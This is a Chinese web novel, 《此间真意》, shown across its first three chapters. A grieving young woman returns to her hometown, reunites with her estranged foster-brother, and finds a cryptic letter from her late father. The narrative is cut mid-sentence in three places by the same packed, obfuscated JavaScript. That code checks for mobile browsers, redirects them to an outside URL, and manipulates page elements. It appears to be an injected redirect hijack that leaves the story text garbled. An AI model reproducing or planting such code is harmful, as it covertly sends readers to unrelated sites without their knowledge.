《此间真意》
1. 第一章
在街边遇到高中英语老师的时候梁喜正在挑橙子,东北天气冷,本地不产什么水果,大多靠南方运过来,譬如面前的橙子。
摊主跟梁喜说这是湖北秭归的帝王橙,很甜,“帝王橙”三个字脱口而出时自带霸气,引得几位路人驻足。
“给我称二斤!”
梁喜闻声扭头,与旁边人视线对上,张老师?
曾经的熟人等比例变老了,不难认,张老师大名叫什么梁喜已经忘记,只记得姓张,她上学那会儿还没实行双减,各个学校主要科目的老师基本都在家开设小课堂,高一下学期梁喜在张老师家补过英语,她严肃的时候经常瞪眼,让本来就大的眼睛更显威慑,搞得梁喜胆战心惊,还好一个月后她爸便做主换了别人。
“老师好。”梁喜像当年一样称呼。
张老师顶着啤酒瓶底一样厚的眼镜片,愣了两秒也没想起来梁喜是哪位,但能叫她老师肯定是曾经的学生无疑。
“啊...在哪上班呢?”
张老师上下打量的眼神充满疑问,不怪她,化城地方小,上大学的孩子除了考公外基本很少回来。
“辞职了。”梁喜不想细说过程,简单带过。
“咱们化城也挺好,生活节奏慢,回来放松放松。”
一问一答,张老师终于从梁喜的眉眼中辨识出一丝熟悉感,“你是不是晚上要参加同学聚会啊?昨天听你们班主任提过一嘴。”
“不一定。”
梁喜半转的身子正过来,张老师看见了她右臂上的孝纱。
“家里谁没了?”
“我爸。”
一场浑浑噩噩的葬礼,梁喜到现在还是蒙的,三叔打电话的时候她刚从公司办完离职交接出来,站在街边听着车水马龙的声音,她仰头看天,启明星在急促的呼吸下从清晰到模糊,一股从未有过的虚空将她包围,好像灵魂中某一部分随着父亲去世而被带走了。
张老师看着梁喜冷漠的脸有些哑然,同学会和葬礼,欢笑与悲伤,两种极端情绪下的团聚,在梁喜那里好像没什么区别,或许张老师不知道,有时当一个人经历极度悲伤之后就会变得冷漠。
梁喜刚打算走,张老师忽然拉住她手腕,东瞅瞅西看看,防备一样小声问:“那个谁还在你家住吗?”
那个谁指的是路崇宁,但凡有人跟梁喜提起这个名字都会自降音调,像试探禁区一般,生怕别人听见。
“不在了。”梁喜淡淡回应。
“你爸去世他都没回来啊?”
“我没告诉他。”
虽然梁辰义叫了他好多年“儿子”,于情于理都应该告诉,但梁喜还是选择隐瞒。
张老师叹了口气,“唉,也是可怜孩子。”
这话梁喜听过太多遍,她苦笑一下,转身离开。
在不远处的小摊又看到相同品种的橙子,这次她没问价钱,直接买了十几个。
以前梁喜不怎么吃,因为路崇宁喜欢,所以梁辰义经常买,梁喜跟着吃才慢慢喜欢上,五年前路崇宁离开的时候,橙子是梁喜送给他唯一的告别礼物,只不过以她爸的名义。
放橙子的纸袋里还夹着一张纸条,上面写了一句话——“山高路远,请多珍重。”
连纸条也是梁辰义代写的。
那时的梁喜并不知道途中山有多高,路有多远,只知道路崇宁走了,周遭的一切变得漫长无尽。
......
走到小区楼下,电话在包里“嗡嗡”震动,梁喜掏出来接听,来电人是小区超市卖货的店员,说有个文件快递放他那好几天了,再不取可能会被退回。
梁喜确实收到一条取件码,当时在忙梁辰义葬礼,忘记了,她有些不好意思,“现在过去可以吗?”
“可以。”
超市在梁喜家前面那栋楼,店员正站在门口,手里拿着文件袋,见梁喜过来,往前迎了两步,说:“下次记得早点取啊。”
“谢谢。”
梁喜接过,又薄又轻,里面可能是信或者明信片一类的东西,她耐住好奇心,准备到家再拆。
拎着橙子和文件袋上楼,梁喜把堆把门口的纸箱折扁坐在客厅地上,拿过文件袋扯掉封条,拽出一个黄皮信封,封口用胶粘住,上面竟然写着路崇宁的大名,还有“亲启”二字,很明显不想让梁喜或者别人拆开。
什么意思?电话写她,信却是给路崇宁的?可他不在国内啊......
梁喜一时想不明白,又拿起文件袋看,上面信息显示快递从化城的林业新区发出,详细地址没有,寄件人是张先生,姓张的人太多了,梁喜认识好几个,她又照着电话号码拨过去,空号。
信捏在手里,梁喜虽然好奇但不会拆开,她环视客厅一圈,目光所及之处空荡冷清,前几天这间房还挤满了人,都是梁辰义生前朋友,有老同事,也有单纯的酒友,这些人中最显眼的要数一位警察,他忙前忙后,像至亲一样,在场的都知道他是梁辰义好兄弟信民的儿子,叫“信航”,梁辰义和信民还有路崇宁的父亲路召庆一起当过兵,转业后相继到化城定居,三人经常一起吃饭,处成了铁哥们儿。
梁喜一直觉得奇怪,她爸这个人平平无奇,嗜酒,不关心老婆,坐过牢,出狱后警察当不成了,日子过得浑浑噩噩,却唯独对朋友的事最上心,好人缘怕是他这辈子身上唯一的优点,也亏得这个优点,朋友上门发现他死在家中。
至于死因,医院最后给出的结论是脑出血,孤身在家,没人帮他拨打120。
葬礼结束后家里又恢复了往日空荡,梁辰义死了,梁喜是唯一的继承人,十五年的老房哪里都破,可对目前的梁喜来说它算个遮风挡雨的地方,其实早在梁喜大二的时候梁辰义就把房子过户给了她,当时她还执意不肯,现在想想,或许梁辰义怕自己有什么意外吧。
葬礼之后,梁喜干的第一件事就是拆家,除了嵌在墙上暂时拆不掉的,把能扔的都扔了,亲戚在背后议论,说她爸刚死,她就迫不及待把东西扔了,白眼狼一个,跟她妈一个德行......
尤记得当年小升初考试结束后,梁喜听到梁辰义对老婆程恩君说:“趁我清醒,咱俩把婚离了吧,家里的钱和房子都给你。”
程恩君没要房子,也没要钱,更没要梁喜,提都没提,这么多年过去,梁喜对她妈的模样已经模糊了,只记得有点瘦,亲戚说她长相乖巧,性格却倔得像头驴,说后半句的时候直勾勾盯着梁喜,话里话外意思是有其母必有其女......
爸妈离婚后梁喜再没见过她妈,电话倒是打过几次,前两次都是问成绩,中考、高考,得到不太满意的回答后她叹了口气,说朋友家的孩子考得特别好,最后一次是问梁喜大学毕业后在北京有没有找到好工作,一个月赚多少钱。
她好像在期待什么,梁喜想,或许她期待这个女儿能有出息,借此满足为人父母的虚荣心,但梁喜没能给,所以她也吝惜了其他方面的关心与问候。
后来家里有关程恩君的物品和痕迹随着时间推移逐渐减少,到最后只剩下一样,那就是梁喜本人。
梁辰义的酒越喝越多,酒瓶堆得绊脚,直到路崇宁住进来,他每天孜孜不倦地把满地酒瓶扔到外面,再把房间收拾干净,然后去学习,那是梁喜第一次切实知道什么叫“寄人篱下”,也切实知道原来人生际遇可以在一夜间一落千丈。
转眼路崇宁去日本打工已经五年,从梁喜大一开始,到现在她第一份工作辞职,路崇宁一次没回来过,虽然青春期大部分时间两人都在一起生活,但这五年彼此像断了线的风筝,没有任何交集。
从塑料袋拿出一个橙子,梁喜用手掂了掂开始扒,信封从腿上滑下去,落在地板上,“路崇宁”三个字晃得她眼晕。
橙子皮撕裂,气息在空中弥散,闻到清新的橙子味梁喜从回忆跳离,她看眼时间,一会儿要去参加张老师提到的同学聚会,她本来不想去,因为高中时曾发生一件至今让她感到芥蒂的事,那次间接引发了她和梁辰义之间唯一一次剧烈争吵。
梁喜初中时成绩还不错,但升入高中后各地尖子生涌上来,导致她成绩一直平平,算不上好,也算不上坏,有次月考掉到下游,明显感觉班主任看她眼神不对劲,还趁晚自习把她叫到走廊谈话。
“梁喜,你对你这次成绩有什么想法?”
梁喜低头不答。
“你爸还要请我吃饭,我差他一顿饭吗?有那功夫还不如回家好好教育你,把成绩提上来,别拖全班平均分后腿。”
梁喜被宋老师说得一阵脸红,他见梁喜闭口不语,于是变本加厉,“你爸什么人我也有所耳闻,你现在不学,以后想跟他一样啊!”
刚才一直闷着头的梁喜忽然抬起头来,眼里泪花闪动,“我爸什么人我最清楚,他生我养我,工作的时候是位好警察,轮不到别人评判。”
梁喜说完转头离校,门卫室保安将她拦住,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207490|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
愣是在保安瞪眼注目下利落跳过栅栏,回家后她对梁辰义说:“以后不许再跟宋昌文有来往,吃饭、打电话通通没必要,以后家长会你也别去了。”
梁辰义被搞得莫名其妙,梁喜翘课已属不对,又劈头盖脸把他说了一顿,父女俩你一句我一句吵起来,最后谁也不理谁。
梁喜每每想起这段都觉得心里不好受,奈何班长发了好几遍信息,说宋老师得了癌症,这次聚会可能是最后一次了,上学时宋老师虽说对梁喜一般,但毕竟师生一场,有情分在,该去。
......
收拾收拾出门,经过小区门口时梁喜闻到一阵花香。
五月初,化城已经暖和了,街边的丁香花相继盛放,她不怎么喜欢丁香花的味道,却还是年复一年地盼着花开。
或许因为生活黯淡乏味,祈祷时间飞逝是唯一的消解之法。
走进饭店包厢前梁喜没想到这次同学聚会能来这么多人,毕竟不是春节,竟然有路远的特意赶回来,看来班长还和当年一样,组织力极强。
除了他和同桌高月,梁喜和别的同学联系甚少,高中时她有点个性,只跟有眼缘的人玩,其他人不愿多打交道,不过高月全家在她毕业后迁居去了三亚,路太远,没赶回来。
环视一圈,每个人都神采奕奕,穿着打扮看似平常,却难掩用力,都想把自己最好的一面展现在旧相识面前,以此证明自己混得还不错。
吃饭间隙梁喜听到旁边有人窃窃私语问她是谁,另一个人反问:“你还记得路崇宁吗?他家出事后不一直在梁喜家住吗?”
同学显然对路崇宁更感兴趣,“他现在在哪混呢?”
“梁喜啊......”
“不是,路崇宁!”
“不知道,他家欠了好多钱,估计躲出去了吧,听说他爸死了,债主能拿孩子怎么样。”
能怎么样?堵在学校门口逼路崇宁还钱,在没有监控的胡同里把他胳膊打到骨裂,到后来他被迫在大二那年退学,出国打工还债......
如果这些都不算怎样,只能说苦难太过寻常。
饭局没持续太久,考虑宋老师的身体,班长早早张罗散场,等宋老师离开有人提议去唱歌,梁喜没兴趣,准备打车回家。
刚走出饭店,梁喜听见有人叫她名字,回头发现是曾追过她的侯海东。
聚会开场时班长让各自轮流介绍一下现状,这位侯海东在一所鼎鼎有名的建筑公司上班,看样子赚得不少,连这顿饭都是他请的,没让大家AA。
高中毕业后各奔东西,梁喜没再见过他,曾经的纤瘦少年,如今变成臃肿的大人,腰带卡不住啤酒肚,其实不只他,梁喜在这场饭局中见到了每个人的变化,大学和社会交予了相同的东西,但落在每人身上的领会不同,混得好,混得差,成为两种最直白的标签,梁喜知道自己被归为后者,但她没所谓。
“有事吗?”
其实梁喜有点不耐烦,还是忍着问了句。
侯海东呲牙笑笑,“一起唱个歌呗,才八点多。”
ktv就在饭店对面,窗户上闪着五彩的光,令人眩晕。
“不了,我还有事。”
“好不容易聚一回,太不给面子了吧!”
刚要再次拒绝,梁喜肩上忽然搭过来一只手,她转头视线向上,心头一惊。
路崇宁?
不是吧?!
梁喜的身体僵住一般,一时有种堕入梦中的不真实感。
“同学,不好意思啊,家里管得严,下次聚。”
低沉的声线,陌生又熟悉,和变声期那会儿虽然有点出入,但肯定是路崇宁无疑。
“等等!”侯海东伸手拦住,“你是他男朋友吗?”
路崇宁没正面回答,伸出一根手指支开侯海东,带梁喜离开。
一旁笑着看戏的班长终于开腔,“早干嘛去了?当初追得半途而废,这会儿又起劲。”
侯海东的目光还黏在梁喜身上,等缓过神他看向班长,“梁喜处对象你知道吗?那男的我感觉有点眼熟,好像在哪见过。”
班长望着两人离去的背影,缓缓说道:“梁喜绝不可能和他谈恋爱。”
“这么肯定?”
“他俩是兄妹,那男的是她哥,名字忘了,比咱们高一届。”
身旁人三两凑一堆,互相招呼着朝不同方向散去,班长拍拍侯海东肩膀,“别看了,走吧!”
2. 第二章
离开同学视线梁喜站住,她紧张到指尖丝丝发麻,暗地里调节呼吸来克制发抖的身子,盯着路崇宁看了两遍才确认不是做梦。
几年不见,路崇宁五官虽然没什么变化,但整体看起来不太一样,说不清,或许成熟了吧,高中时候刮胡子的男生不多,带着那个年龄段特有的青涩感,梁辰义却早早教会路崇宁自己刮胡子,他从小就长得白净,招人喜欢,如今他二十六岁了,肤色黑了一度,模样却依旧英俊。
他身上的外套有点旧,胸前印着一串英语,胶印开裂明显,看着更像工作服,牛仔裤裤脚还是一如既往地短一截,头发倒是长,乱糟糟的,像黑夜里汹涌的浪,每一根都有自己的想法。
“你怎么回来了?”
梁喜语气冷漠,说话时故意转到同学们离开的方向,避开路崇宁自上而下的注视。
不知目光本就灼热,还是自以为是的错觉,梁喜感觉脸颊发烫......
“本来想参加梁叔葬礼,路远,又要办一些手续,来不及。”
头转回来,梁喜问:“谁告诉你的?信航吗?”
“是。”
两人之间唯一交集的朋友只剩下信航,除了他没别人。
“你不该回来。”
久别重逢,换做别人应该高兴,梁喜却面色沉重,如果路崇宁出现在化城的消息传到某个债主那里怕又无安生,从前种种阵仗梁喜早已领教过。
迎着路灯的光,路崇宁从兜里掏出一沓皱巴巴的纸,递到梁喜面前。
“什么?”
“借条。”
从债主那收回来的借条,上面签着路崇宁他爸路召庆的大名,而路崇宁收回这些用了整整五年,没有休息日的五年。
掏出打火机,路崇宁将借条点燃,快烧到手时轻轻一扬,扔到垃圾桶一角,很快火苗熄灭,漆黑的灰烬被风一吹碎成渣。
当初为了躲债,路召庆把十五岁的路崇宁交给梁辰义,然后带着老婆杨婉仪去了外地,没过一年传来路召庆自杀的消息,死在一处出租屋内,死因是一氧化碳中毒,而且还是自杀。
路召庆死了,杨婉仪却失踪,至今下落不明,外人都说杨婉仪害了路召庆,可熟悉的不信,不熟悉的又瞎传,几年过去,这件曾经轰动化城的事慢慢被淡忘。
虽然人死了,但债还在,路崇宁无遗产可继承,自然不需要继承债务,但他却在所有人的惊诧和不解之下选择扛下一切。
苦难压弯了他的背,却没有夺走他手中的刀和盾,当他揽过债务时,人生注定有段昏暗要走。
“能待几天?”梁喜问了眼下她最关心的问题。
路崇宁说:“之前帮我的老板在国内有新工程,我回来跟他干。”
什么意思?不走了?
当初离开时突然,现在留下也突然,梁喜都是被通知的那一个。
她随手指向饭店,“你怎么知道我在这?”
路崇宁盯着梁喜的眉眼,像在打量一朵暗夜里独自盛开的花,怒放的花瓣下布满乍眼的刺。
“问你话呢!”
汽车轮胎摩擦地面的声音充斥着梁喜的耳朵,她努力从这声音剥离,却听到了别的。
ktv三楼窗户打开,一个男人趴在窗边点烟,歌声从里面传出来,乘着夜色悠然落下,这首歌在梁喜高中时候很流行,学校广播循环播放了好久,连五音不全的同学都会哼两句。
旧旋律不免让人伤感,梁喜脑子里不断回映她与路崇宁之间的秘密。
这世上没有第三人知道梁喜和路崇宁短暂在一起过,那时她还是个处于青春期的少女,间歇性叛逆,尽管梁辰义每天在她耳边“你哥你哥”的重复,可他越这么说,梁喜越想越界,她喜欢上了,也表白了,第一次被路崇宁拒绝,第二次还被拒绝,第三次,他终于同意了。
那年梁喜高三,他上大一。
“我刚回来,慢慢回答你。”
打火机在路崇宁手里倒来倒去,丝滑转圈,他嘴角微微上扬,一身痞气,眉宇间凝重不再,哪里还是从前的路崇宁?
梁喜低头咬咬嘴唇,问:“你行李呢?”
“在家。”
“我把锁换了,你怎么进去的?”
“你不是留了一把在隔壁吗?”
家里多年的习惯,梁喜没忘,路崇宁更没忘。
两人分开时虽然不太愉快,但毕竟在襁褓中就相识,再加上梁辰义给两人硬加的兄妹情分,不至于老死不相往来,那个房子路崇宁住了好几年,即便他现在要继续住也无可厚非,只是梁喜心里有鬼,面对他无法坦然。
绕过一棵树,路崇宁又走回梁喜身旁,“家里进贼了吗?”
他差点以为走错门......
“扔了。”
“床也扔了?”
扔的时候倒畅快,眼下被路崇宁一问,梁喜没来由的心虚,“你回来为什么不提前告诉我?”
路崇宁突然伸手拦住梁喜,时隔几年的四目相对,感觉很不真实,“你不想让我回来吗?”
声音在夜里漂浮,好似跨越千里万里才抵达梁喜面前。
“不想。”她淡淡回应,口是心非。
沉默被阵风拦腰砍断,路崇宁紧皱下眉头,以此克制失落,“我要在家里住段时间。”
梁喜用一种肉眼可辨的复杂眼神盯着路崇宁。
他看出来,解释说:“放心,我不会跟你复合。”
“复合?咱俩好过吗?”
“......”
“住多久?”
“看情况。”
梁喜继续刀子嘴,“别赖着不走就行。”
“有可能。”
梁辰义刚把路崇宁领回来的时候还为他睡哪发过愁,那天梁辰义正好喝酒了,开玩笑说买个上下铺,让梁喜和路崇宁睡一屋,梁喜气得脸涨红,最后还是路崇宁主动要求睡客厅,阻止了梁辰义胡来。
虽然梁喜把家里很多东西都扔了,但那张上了锈的折叠床还在阳台角落立着,因它曾经的主人而获得幸免。
说不过路崇宁,梁喜另找出路,“我有个条件。”
“什么?”
“一、别管我,二、多穿点。”
路崇宁皱皱眉,马上明白什么意思,“平等条约吗?”
“当然不平等,对你,不对我。”
梁喜说完转过去,招手拦了辆出租。
兜兜转转,她和路崇宁好像又回到了原点,回到他刚住进梁家的时候,只是这一次的走向充满未知。
......
客厅灯闪了几下才亮,梁喜盯着发黄的灯罩喃喃自语,“明天去五金店买个换上。”
她从小就对楼下那家店熟门熟路,每次梁辰义耍酒疯摔坏家里东西,换新都是她的活,从第一次胆战心惊怕电死,到后来的轻而易举无表情,也不过个把月而已。
路崇宁进屋直接坐到压扁的纸箱上,从塑料袋拿出一个橙子闻了闻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207491|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,低头开始剥,每次吃橙子之前闻一下是他的习惯,不知道什么癖好。
一块接一块连续吃完,想说的话从路崇宁心里蔓延到嘴边,“你辞职了,暂时着急回北京吗?”
“听谁说的?”
“一个人。”
简直废话......静默两秒,梁喜说:“你不问我为什么吗?”
一块橙子塞嘴里,他面无表情回答:“我不好奇。”
梁喜手指摩挲着纸壳一角,用力扣了扣,在纸壳上留下一道弧形印记,“我的事,你跟谁打听的?”
虽然嘴硬说不好奇,但很明显,路崇宁知道不少梁喜的近况,
见他不回应,梁喜继续加码,“怪我把你甩了吗?一次不联系我,问也不问。”
五年前,梁喜听到路崇宁说要放弃学业出国打工的消息后,她问:“确定要走吗?”
“确定。”
“好,如果你走,我们就分手。”
在路崇宁沉默的几秒里,他攥紧拳头,红了眼,没再回复一个字,用实际行动默认这段关系结束。
犹记得刚在一起没多久的时候梁喜问路崇宁,“如果我们分手怎么办?”
“不会。”
“我是说如果。”
“如果你跟我分手,那我认了。”
后来梁喜真的提了,路崇宁也真的认了。
说来奇怪,明明梁喜提的分手,可在她看来自己才是被抛弃的那个,路崇宁的手机号停机,□□离线,除了一个遥远陌生的地名,什么也没留下。
自那之后梁喜靠着梁辰义和信航一点点搜集有关路崇宁的零星片段,像拼图一样,却总是多处空缺......
对面,在梁喜加码说完那句话后路崇宁明显愣住,像意外,像不解,继而在梁喜的注视下咬咬牙把头低下,从见面到现在她一直在进攻,而路崇宁的周旋在这一刻失去效力。
屋里太过安静,显得气氛尴尬,梁喜把话题转回去,“我办完离职才知道我爸去世。”
当时她讽刺地想,这算什么该死的预感。
路崇宁无意识地捏捏喉结,说:“不工作也行,我能赚钱养家。”
五年前的路崇宁绝不会跟梁喜说这样的话,他真的长成大人了,虽然只比梁喜大一岁,但这五年一定发生了很多梁喜不知道的事。
她在大学校园里淋不着雨吹不到风的日子,路崇宁在工厂里穿梭,后来因为聪明,学东西快,被调到办公室,终于可以稍微轻松一些。
在人生境遇开始呈分水岭显现的时候,梁喜觉得其他人都走在平坦大路上,只有她和路崇宁在走窄门,且前方暗淡无光。
“你老板国内的工程在哪?”
路崇宁指指脚下,“化城。”
化城?怎么这么想不开?化城在梁喜眼里就像野外孤鸿,曾经如日中天的工业也只剩下斑驳的旧址,还有什么值得开发的东西吗?
“你要是不介意屋里死过人,想住就住吧,等我走了家里只剩你自己,随便折腾,往家里领女孩儿也随便,但如果我回来,不要吵到我。”
梁喜想用这些告诉路崇宁,她翻篇了,不在乎了,即便说往事如烟,她手里也有一把扇。
路崇宁身子后仰,双手撑着地板,用眼角斜睨梁喜,不咸不淡来一句,“嫌吵的话可以送你一副耳塞。”
“......不需要,谢谢。”
“客气。”
大爷的!千刀万剐了你!
3. 第三章
梁喜藏在腿边的手用力扣了下地板,虽然心里暗骂,可脸上必须佯装自然,那是她自己的面子,得保住。
“我爸的骨灰在阳台,别吓着你。”
路崇宁望过去,“怎么没葬公墓?”
梁喜从兜里掏出出门前摘掉的孝纱,重新戴上,“我不想让我爸埋在黑黢黢的地底下,三叔都说不动我,也轮不到你操心。”
梁喜她三叔叫“梁辰景”,和梁辰义是表兄弟,比他小两岁,虽算不上至亲,但两家处得还行,三叔一辈子当公务员,生活得一板一眼,只是感情生活多舛,第一任妻子因他出轨而离婚,家产被分走大半,第二任妻子又出轨别人,让人不得不感叹命运如此神奇,又不偏不倚。
年近五十,三叔独自带着和第一任妻子所生的儿子生活,现在每天上班下班,只等退休。
“还有吗?”路崇宁指着梁喜胳膊上的孝纱。
“你免了。”
他勾勾手,示意拿来。
梁喜犹豫了下,回屋找到递给他,连同孝纱一起递过去的还有写着“路崇宁”大名的信件。
“什么?”信封颠来倒去,路崇宁问梁喜。
“你的信。”
梁喜将今天取快递的事讲了一遍,路崇宁听完赶紧撕开,里面是一张貌似从笔记本上面扯下来的纸,边缘锯齿明显。
“小宁,估摸你合同要到期了,梁叔想让你回国,别总在外面飘着,家里人都惦记你,回来后和喜喜好好生活,兄妹间相互帮衬,替梁叔多照顾她,别再纠结过去的事,一切朝前看,你这几年寄给喜喜的钱我都给她存着呢,我没跟她说,回头你告诉她。
对了,你爱吃的那家酱牛肉我给你办了张会员卡,放魏哥那了,回来一定要去吃,味道一点没变——梁辰义。”
信上内容一共就这么多,短短几行像是写尽临终嘱托......
路崇宁神情凝重,看得仔细,这封信的字迹有些潦草,个别地方笔断油了,还好不影响识别,只是内容看似简单,路崇宁却一下看出异样。
他爱吃的不是酱牛肉,而是一家海鲜排档,老板也不姓魏,他和梁辰义共同认识的魏哥开的是砂锅店......路崇宁觉得梁叔不至于记错,所以他是故意的吗?
旁边,梁喜好奇信里写了什么,时不时偷瞄一眼,路崇宁见状把信递给她。
得到当事人允许,梁喜接过逐字逐句开看,等读完她脸色变得和路崇宁一样凝重。
“我爸给你的?!”
梁辰义明明死于脑出血,他怎么会未卜先知给路崇宁寄这封信?
梁喜实在想不明白,她爸平时嘻嘻哈哈,活得比较乐观,喝完酒有时絮叨有时睡觉,没惹什么大乱子,这些年父女俩虽然时常拌嘴,但一会儿就好了,谈不上怨谁,刚得知梁辰义死因时梁喜很自责,如果她在家可以及时拨打120,说不定人还能救回来,可眼前这封信是怎么回事?
忽然路崇宁想到什么,他放下信,打开行李箱找到一个本子,翻开从里面抽出一张纸条,梁喜凑近,一串熟悉的话跃然眼前,“山高路远,请多珍重。”
是五年前梁喜让她爸代写的纸条,没想到路崇宁还留着。
有了实物对比,路崇宁才敢确认这封信是梁辰义亲笔,他将纸条递给梁喜,她转头望向别处,假装没看见。
路崇宁扯过她手腕,把纸条强塞给她,“你让梁叔写给我的,是吗?”
梁喜只觉脑袋轰地一下,“我写它干嘛?!你看我很闲吗?”
路崇宁盯着她的双眼,用目光将人锁定,只是这份目光并不纯粹,眼下沉默比任何话都磨人。
梁喜试图扭转,“一张纸条也能留五年,我看你比我闲多了。”
千挑万选,还是选了句伤人的话。
路崇宁一副不在意的样子,也没回嘴,他把纸条和信一起放进本子夹好,说:“房子卖了吧。”
突来一句让梁喜感到惊诧,而他下一步的动作更让梁喜瞪圆了眼。
只见路崇宁从兜里掏出一包烟,起身走到阳台打开窗户,抽出一根叼在嘴上,轻轻一咬,随着爆珠碎掉的声音他把烟点着,吸了一口,说:“这房子虽然有人去世,但不是凶杀,又属于学区,价钱不会低,暂时卖不出去还可以租,收的钱你自己存好,我重新租个房子,你要回来就去我那住。”
路崇宁说话时梁喜一直盯着他看,话里话外的语气,眉宇之间的神情,甚至举止投足没有任何稚嫩,一个寻常的男人,又好像不太寻常。
愣了半天,梁喜叫了声“路崇宁。”
他从烟雾里抬头,目光迷离。
“你怎么抽烟了?”
不是兴致突来的一根两根,而是经常性的习惯,夹烟、点烟,看熟练程度就知道。
路崇宁轻轻呼口气,烟雾随之飘出来,“呛到你了吗?”
他捡起一块橙子皮往里弹烟灰。
以前梁辰义带朋友回家,烟还没等点上,路崇宁就把烟灰缸递过去了,怕那些人乱弹,如今他自己也变得和那些人一样随意。
其实这不是梁喜第一次见路崇宁抽烟,只是距离第一次过去太久太久。
多年前的一个晚上,路崇宁像往常一样放学回来,饭后梁辰义把路召庆去世的消息说了,路崇宁当时听完一字不吭,开门下楼。
梁辰义以为他不好受,出去散散心,可到八点还没回来,梁辰义急了,叫梁喜跟他分头去找。
没走多久梁喜先找到了路崇宁,小区东门外有一片长满荒草的空地,春夏时绿意盎然,秋天时一片昏黄,冬天却布满破败,恰巧化城的冬天如此漫长,当梁喜看见路崇宁时猛然觉得,他们也是这破败的一部分。
一堆建筑废石码得毫无章法,路崇宁蹲在上面,嘴边的烟一明一灭,他脚边全是抽完的烟头,朝着各个方向散落,而悲伤像无边无际的黑色海水疯涨,像要把他吞噬。
梁喜不知道怎么形容看见那些烟头时心里的情绪,仿佛她被一股力量拉到海水边缘,浪花涌动,打湿了她的裤脚,狂风猛烈,吹乱了她的发丝。
静默许久,等到路崇宁抽完最后一支烟,梁喜走过去,俯身单手环住他,很轻,有点不敢触碰。
就这样,十五岁的梁喜献出了人生中第一次拥抱,浅浅的,伴着夜风吹拂,她说:“哥,你别难过。”
两人面庞相悖,路崇宁咬牙隐忍,最终一滴泪无声落在梁喜肩头,似有千斤万斤重......
他刚出国的时候梁喜在心里反复发问,“路崇宁,我那么努力跟你考同一所大学,你说走就走,难道不觉得欠我吗?”
后来某一天,梁喜只身来到小区外那片荒地,坐在路崇宁曾经坐过的石堆上看了一场久违的日落,这场日落莫名治愈了她,自此路崇宁的名字被她深藏,轻易不再提起。
熟悉的画面让过去某个时段的情绪卷土重来,梁喜感觉胸口憋闷,压抑得难受,尤其是看到路崇宁跨越几千里切实地站在眼前......
“卖不卖你自己做主,我只是建议,你可以不听。”
烟燃到尾,路崇宁将烟头按灭在橙子皮里,梁喜全程看着他抽完,随着火光熄灭,一个念头从梁喜心底冒出来,从见到路崇宁不过半小时,她好像再次陷入无法自拔的境遇,非常不妙。
......
行李箱打开,路崇宁蹲在地上开始收拾行李,这个行李箱不大,和其他从国外回来的人不太一样,当年走的时候拿的就是这个箱子,梁辰义给他买的,用了几年时间,四角磨损严重。
路崇宁的后背在梁喜视线里缓缓挪动,细长,挺拔,记忆里他总是穿着校服低头行走的模样,时间和遭遇改变了他,也让梁喜觉得陌生。
箱子里的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207492|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
衣服被路崇宁一件件扔到箱盖上,梁喜发现这些衣服样式单一,多数像工作服。
箱子一角有个被白布裹得严实的东西引起了梁喜注意,“那个是什么?”
路崇宁目光掠过,“骨灰盒。”
梁喜刚捧过亲爹的骨灰,自然对这东西熟悉,可出现在路崇宁的行李箱里,很奇怪。
“谁的?”
“同事,人在国外没了,我帮他家人把骨灰带回来。”
三两句话简单说完,路崇宁眼前闪过一些画面,撑地的手有些抖。
“收拾收拾走吧。”
路崇宁拿了换洗衣物塞进塑料袋,比用橙子皮弹烟灰还要随意。
梁喜盯着行李箱愣神,没听见说什么,他顺梁喜视线看过去,尽头是一件黑色T恤,胸前的大写字母LX在翻动间露出来,被灯光晃得无比耀目......
如果梁喜没认错的话,这是两人刚确定关系时她特意在网上定制的,收到后偷偷藏起来怕梁辰义看见,等到周末放假,谎称和同学出去玩,实际却搭火车跑到路崇宁学校给他送T恤。
有一次很险,路崇宁大一放寒假回来,赶巧两人不约而同穿了这件T恤,还是梁喜反应快,跟路崇宁说:“我不是让你给我寄回来吗?怎么自己穿上了?”
然后又跟梁辰义解释,说她们班做班服,为了凑数,所以给路崇宁带了一件,但邮寄的时候被班长寄错,梁辰义也没多想,这事就打马虎眼过去了......
行李箱关上,路崇宁起身,挡住要问话的梁喜,“走吧。”
“去哪?”
“出去找个旅馆住。”
梁喜新买的床要明天送,没想到路崇宁今天突然回来。
“不去!我认床,在外面睡不着。”
“请问家里有床给你认吗?”
“那也不去。”
路崇宁没再坚持,而是俯身去拽梁喜的手,直接把她拉起来。
修长、粗糙,茧子磨到梁喜手指,触感真实。
